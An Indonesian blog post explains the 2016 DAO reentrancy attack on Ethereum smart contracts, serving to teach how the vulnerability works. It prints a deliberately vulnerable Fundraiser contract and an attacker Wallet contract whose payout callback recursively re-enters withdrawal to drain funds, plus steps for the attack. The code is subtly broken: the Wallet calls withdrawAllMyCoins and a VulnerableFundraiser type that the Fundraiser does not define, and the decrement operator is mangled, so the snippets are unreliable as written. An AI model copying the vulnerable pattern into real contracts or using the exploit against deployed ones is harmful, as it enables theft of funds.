Mengenal DAO Attacks pada Smart Contracts

Harry Ermawan
hryer.dev
Published in
2 min readJul 1, 2021

--

source: unsplash.com

Pada tulisan ini akan lebih membahas penyerangan yang sering atau umum diketahui pada proses pembuatan Smart Contract (Ethereum). Ketika awal saya berpikiran bagaimana Smart Contract pada Blockchain dapat kena serang emang possible? ternyata possible bahkan pernah beberapa kali kejadian seperti pada tahun 2016 atau penyerangan yang dikenal dengan DAO (Decentralized Autonomous Organization) Attack.

Bagaimana DAO Attack bisa terjadi?
Teknik yang dipakai penyerangan sendiri menggunakan rekursif ( pemanggilan terus menerus ) kepada functio Smart Contract.

Bukannya Smart Contract Immutable? kan blockchain konsepnya ga akan bisa ditempered / diedit?
Poin — poin DAO attack:

  • Adanya 2 Contract terpisah -> Fundraiser dan Wallet
  • Attacker ga pernah ngubah Contractnya Fundraiser yang udah masuk ke jaringan ethereum karena itu udah di deploy oleh orang yang bikin si kontrak Fundraiser tersebut
  • Begitu juga Attacker juga ga pernah ngubah Contractnya Wallet yang udah di deploy sama orang yang bikin.
  • Setiap orang yang deploy menggunakan Wallet Contract tersendiri harus. memenuhi requirement dimana functionsnya type harus sama, parameter, outputnya juga

Contoh Smart Contract saat terjadinya DAO Attacks

Fundraiser Contract

pragma solidity ^0.4.24;contract Fundraiser {  mapping(address=>uint) balances;  // VULNERABLE  function withdrawCoins(){    uint withdrawAmount = balances[msg.sender];    // move balance = 0 to here    Wallet wallet = Wallet(msg.sender);    wallet.payout.value(withdrawAmount)();    // this line is not reached before the next recursion!!    balances[msg.sender] = 0;  }  function getBalance() constant returns (uint) {    return address(this).balance;  }
function contribute() payable {
balances[msg.sender] += msg.value; } function() payable { }}

Wallet Contract

contract Wallet {Fundraiser fundraiser;  uint recursion=20;  function Wallet(address fundraiserAddress) {    fundraiser = VulnerableFundraiser(fundraiserAddress);  }  function contribute(uint amount) {    fundraiser.contribute.value(amount)();  }  function withdraw(){    fundraiser.withdrawAllMyCoins();  }  function getBalance() constant returns (uint) {    return address(this).balance;  }  function payout() payable {  // exploit    if(recursion>0) {      recursion — ;      fundraiser.withdrawAllMyCoins();    }  }  function() payable {  }}

Terus kalau poin — poinnya kaya gitu ko masih bisa diserang?

Tetap bisa caranya

  • Attacker bikin Wallet Contract Baru
  • Attacker nemu address Fundraiser contract yang dideploy sama orang yang bikin (person A)
  • Attacker deploy Contract Wallet yang dibikin sama si Attacker ini(bukan person A)
  • Attacker eksekusi withdrawCoins() secara rekursif bisa dilihat pada contoh smart contract diatas

--

--